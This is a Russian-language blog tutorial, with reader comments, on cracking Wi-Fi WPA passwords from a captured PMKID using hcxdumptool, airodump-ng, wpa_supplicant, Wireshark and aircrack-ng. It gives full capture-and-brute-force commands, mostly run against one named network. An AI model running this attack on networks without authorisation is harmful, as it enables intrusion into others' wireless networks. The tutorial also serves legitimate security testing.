Взлом Wi-Fi без пользователей в Aircrack-ng

Про взлом Wi-Fi, к которому не подключены клиенты, рассказано в предыдущей статье «Взлом Wi-Fi без пользователей». Там есть технические подробности, почему эта атака возможна. Если совсем коротко, то некоторые Точки Доступа, при ассоциации с ними, отправляют PMKID, который можно использовать для взлома пароля вместо полноценного рукопожатия. То есть мы получаем необходимые данные для взлома пароля не захватывая обычное четырёхступенчатое рукопожатие, следовательно, эта атака возможна на Точках Доступа даже без подключённых станций.

В статье на которую дана ссылка, мы использовали следующие программы:

  • hcxdumptool v4.2.0 или новее — для захвата беспроводных фреймов
  • hcxtools v4.2.0 или новее — для извлечения необходимых для брут-форса данных
  • hashcat v4.2.0 или новее для брут-форса пароля

Первые две (hcxdumptool и hcxtools) без проблем устанавливаются в Linux, а вот с hashcat могут быть трудности — для неё необходимы проприетарные драйвера, что для некоторых дистрибутивов (а также для всех виртуальных компьютеров) является проблемой.

Атака на PMKID в Aircrack-ng

В вышедшей новой версии Aircrack-ng 1.4 (от 29 сентября 2018 года) добавлена возможность взлома PMKID. Правда, в Airodump-ng не добавлено каких-либо специальных функций по захвату именно PMKID. Но, по идее, это не должно стать серьёзной проблемой, поскольку PMKID содержится в первом сообщении рукопожатия поэтому, я надеюсь, нам удастся захватить PMKID в Airodump-ng.

Взлом PMKID в Aircrack-ng

Начнём с захвата фреймов с помощью hcxdumptool. Больше подробностей в этой статье, здесь же только кратко сами команды.

Смотрим имя интерфейса и идентификаторы процессов, которые могут помещать

sudo hcxdumptool -I

С помощью команды kill завершаем процессы, которые могут помешать.

sudo kill XXXX XXXX

Переводим интерфейс в режим монитора:

sudo ip link set <интерфейс> down
sudo iw dev <интерфейс> set monitor control
sudo ip link set <интерфейс> up

Я использую Wi-Fi интерфейс wlp0s20f0u1, а данные сохраняю в файл test.pcapng:

sudo hcxdumptool -o test.pcapng -i wlp0s20f0u1 --enable_status 15

Получен файл test.pcapng, этот файл в формате pcapng — а aircrack-ng не понимает этот формат, поэтому конвертируем его в pcap:

tcpdump -r test.pcapng -w test.pcap

Будет создан новый файл test.pcap, анализируем его с помощью aircrack-ng:

aircrack-ng test.pcap

Поскольку этот файл захвачен в «шумных» условиях, то там много разных фреймов и фрагментов рукопожатий, нас интересуют сети, напротив которых есть надпись «WPA (0 handshake, with PMKID)»:

Для взлома с помощью aircrack-ng используем команду вида:

aircrack-ng -w путь_до_словаря файл_захвата.pcap

В моём случае:

aircrack-ng -w test.dic test.pcap

Здесь:

  • -w test.dic — словарь для брут-форса
  • test.pcap — файл захвата с фреймами

Я буду брут-форсить пароль для Wi-Fi сети Paangoon_2G, указываю её номер:

У меня крошечный тестовый словарик, поэтому я сразу взломал пароль Wi-Fi, об этом свидетельствует надпись «KEY FOUND!»:

Подробности о взломе паролей в Aircrack-ng, а также о том, как запускать атаки по маске, по словарю и в паре с различными генераторами паролей, читайте в статье «Взлом WPA/WPA2 паролей с Aircrack-ng: перебор по словарю, совместная работа с Hashcat, maskprocessor, statsprocessor, John the Ripper, Crunch, взлом в Windows».

Захват PMKID в Airodump-ng

Теперь попробуем захватить PMKID с помощью Airodump-ng. Напомню, что PMKID содержится в первом сообщении рукопожатия, это сообщение Точка Доступа отправляет в ответ на ассоциацию с ней.

Нам нужно узнать, на каком канале работает целевая ТД, а также её BSSID (MAC-адрес). Для обзора эфира мы запускаем airodump-ng:

sudo airodump-ng wlp0s20f0u1

Меня интересует беспроводная сеть Paangoon_2G, она работает на канале 9 и её MAC-адрес 40:3D:EC:C2:72:B8.

Вновь запускаем airodump-ng, с опцией --channel указываем желаемый канал, а с опцией -w указываем файл для записи захваченных радио фреймов:

sudo airodump-ng wlp0s20f0u1 --channel 9 -w cap2

Теперь нужно ассоциироваться с точкой доступа. Для этого я пробовал использовать aireplay-ng, но эта программа поддерживает ассоциацию только для WEP и не работает с WPA (ошибка Denied (code 12), wrong ESSID or WPA).

Ассоциация происходит естественным образом при попытке подключиться к этой точки доступа, то есть с другой беспроводной карты можно начать подключение к точке доступа и в этом случае действительно удаётся захватить PMKID, правда вместе с рукопожатием. Об этом говорит строка «WPA (1 handshake, with PMKID)».

Можно подключиться, например, через Network Manager или с помощью другого компьютера или телефона, пароль можно указать любой. Для подключения из командной строки, создайте конфигурационный файл (замените данные на свои):

wpa_passphrase "Paangoon_2G" 22222222 > Paangoon_2G.conf

Здесь:

  • "Paangoon_2G" — имя интересующей меня сети
  • 22222222 — произвольный пароль (не менее 8 символов)
  • Paangoon_2G.conf — имя конфигурационного файла.

Для подключения выполните:

sudo wpa_supplicant -i wlo1 -c Paangoon_2G.conf -d

Здесь:

  • -i wlo1 — имя беспроводного интерфейса, используемого для подключения
  • -c Paangoon_2G.conf — используемый для подключения конфигурационный файл
  • -d — опция, включающая показ сообщений отладки

Анализ полученного файла:

aircrack-ng cap2-01.cap

Для извлечения PMKID (чтобы для брутфорса не использовался хендшейк с заведомо неверным паролем), откроем этот файл в Wireshark:

wireshark-gtk cap2-01.cap

Для отделения только нужных данных, используем следующий фильтр (замените 40:3D:EC:C2:72:B8 на интересующую вас точку доступа):

(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || (eapol && wlan.rsn.ie.pmkid)) && wlan.addr==40:3D:EC:C2:72:B8

Загляните в первое сообщение рукопожатия и убедитесь, что там действительно присутствует PMKID:

Теперь с помощью CTRL+m выделите нужные пакеты (Beacon и Message 1):

И в меню File выберите Export Specified Packets. Введите имя файла и поставьте переключатель на Marked packets only. Если вам непонятно, как сохранять отдельные фреймы, то смотрите статью «Как извлечь рукопожатия из файла захвата с несколькими рукопожатиями», там имеются дополнительные скриншоты.

Я сохранил эти два фрейма в файл extracted.pcap, проверяю файл:

aircrack-ng extracted.pcap

Отлично: хендшейков — 0, зато есть PMKID, об этом говорит уже знакомая нам строка «WPA (0 handshake, with PMKID)».

Можно вновь запустить тестовый взлом:

aircrack-ng -w test.dic extracted.pcap

Вновь пароль успешно взломан:

Заключение

В этой статье показана принципиальная возможность aircrack-ng взламывать Wi-Fi пароль из PMKID, а также способность airodump-ng перехватывать PMKID. То есть в случае необходимости, можно обойтись без hashcat.

Возможно, показанные методы являются не самыми оптимальными, особенно на этапе захвата PMKID с помощью airodump-ng, когда нам нужно вручную подключаться к Точке Доступа с другой Wi-Fi карты, но пока ничего лучшего я не придумал. Если вы знаете другой, более простой способ спровоцировать отправку запроса ассоциации, то напишите его здесь в комментариях.

Рекомендуется Вам:

3 комментария to Взлом Wi-Fi без пользователей в Aircrack-ng

  1. sluchatel:

    После ввода

    aircrack-ng -w test.dic test.pcap

    пишет: Please specify a dictionary (option -w)

    в папке с aircrack-ng есть файл test.dic

    что я делаю не верно?

  2. sluchatel:

    а в самом верху после команды:

    ERROR: Opening dictionary test.dic failed (No such file or directory)
    ERROR: Opening dictionary test.dic failed (No such file or directory)
    Opening test.pcapplease wait…
    Read 451 packets.

    где должен быть файл словаря?

    спасибо

  3. sluchatel:

    чёрт. разобрался….

Добавить комментарий

Ваш e-mail не будет опубликован.